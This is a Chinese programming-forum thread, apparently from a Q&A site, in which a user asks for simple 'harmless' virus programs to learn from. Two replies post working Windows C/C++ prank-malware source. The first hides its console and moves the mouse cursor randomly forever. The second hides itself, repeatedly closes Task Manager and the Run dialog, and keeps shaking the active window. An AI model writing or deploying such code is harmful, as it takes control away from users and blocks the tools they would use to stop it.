请高人给两个 没有危害性的,简单的病毒程序,不为他用,只是观摩学习之用!
尽可能的简单些。本人不胜感激!
分数不多,还望包涵。
------解决方案--------------------
- C/C++ code
#include <windows.h> int main(void){ FreeConsole(); int sw = GetSystemMetrics(SM_CXSCREEN); int sh = GetSystemMetrics(SM_CYSCREEN); for( ;; ) { srand(GetTickCount()); SetCursorPos((rand() % sw) + 1, (rand() % sh) + 1); } }
------解决方案--------------------
- C/C++ code
#include<windows.h> #include<math.h> #pragma comment( linker,"/subsystem:"windows" /entry:"mainCRTStartup"" )//隐藏控制台窗口 DWORD WINAPI ThreadProc( LPVOID lpParameter ) { HWND hw; while(1)//下面可以添加其他要杀掉过滤的操作 { if( (hw=FindWindow(NULL,"运行"))//杀掉开始菜单的运行 || (hw=FindWindow(NULL,"Windows 任务管理器"))//杀掉任务管理器 ) SendMessage(hw,WM_CLOSE,0,0); //下面可以添加其他要杀掉过滤的操作 Sleep(50); } } void ReMoveWin(HWND hwnd, int sleep, int r) { RECT cr,c1; int w,h,i; GetWindowRect(hwnd,&cr);//获取前景窗口句柄 c1=cr; w=c1.right-c1.left; h=c1.bottom-c1.top; for(i=1;i<=1080;i=i+8) { c1.left+=(int)(r*cos(i*3.14/180)); c1.top+=(int)(r*sin(i*3.14/180)); MoveWindow(hwnd,c1.left,c1.top,w,h,1);//移动窗口 Sleep(sleep); } MoveWindow(hwnd,cr.left,cr.top,w,h,1);//移动窗口 } DWORD WINAPI ThreadProc1( LPVOID lpParameter ) { while(1) { ReMoveWin(GetForegroundWindow(),4,2); Sleep(80); } } void main() { HANDLE handle[2]; handle[0]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,NULL);//创线程 handle[1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc1,NULL,0,NULL);//创建线程 MessageBox(NULL,"嘿嘿。。纯属娱乐!",NULL,0); WaitForMultipleObjects(2,handle,1,-1);//等待线程 }